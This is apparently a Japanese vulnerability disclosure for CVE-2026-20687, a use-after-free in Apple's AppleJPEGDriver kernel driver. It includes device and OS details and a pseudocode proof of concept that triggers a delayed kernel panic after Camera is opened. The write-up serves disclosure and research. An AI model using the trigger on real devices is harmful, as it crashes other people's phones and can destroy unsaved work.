
CVE-2026-20687: AppleJPEGDriver startDecoder タイムアウト UAF — iOS/macOS カーネルの脆弱性により遅延パニックが発生(A19 Pro、iOS 26.3 RC)
CVE-2026-20687 | 作者: Johnny Franks (@zeroxjf)
コンポーネント: Kernel
影響: アプリが予期しないシステム終了を引き起こしたり、カーネルメモリに書き込んだりする可能性があります
説明: メモリ管理の改善により、use after free の問題が解決されました。
これによりデバイスがカーネルパニックを起こします。作業を保存してください。
iPhone18,2(iPhone 17 Pro Max、A19 Pro)上の iOS 26.3(23D125)でテスト済み。
直接トリガー:
// PoC: ドライバーを起動; パニックは通常 Camera を開くまで遅延します。
IOServiceOpen("AppleJPEGDriver");
for (int i = 0; i < N; i++) {
startDecoder_async(); // queue_io_gated(): vector.push(req + 0x78)
}
IOServiceClose(conn);
// その後、Camera を開くと以下がトリガーされます:
startDecoder_sync();
queue_io_gated(): vector.push(req + 0x78);
wait(10s) -> TIMEOUT;
pool_free(req); // BUG: デキューされない (req + 0x78)
// さらに後(finish_io_gated):
fullSpeedRequestExist():
node_ptr = vector[i]; // 古い: node_ptr == (解放済み req + 0x78)
req2 = *(node_ptr + 0x8); // req+0x80 の UAF 読み取り -> MTE タグフォルト -> パニック
ios-app/Test.xcodeproj を開きます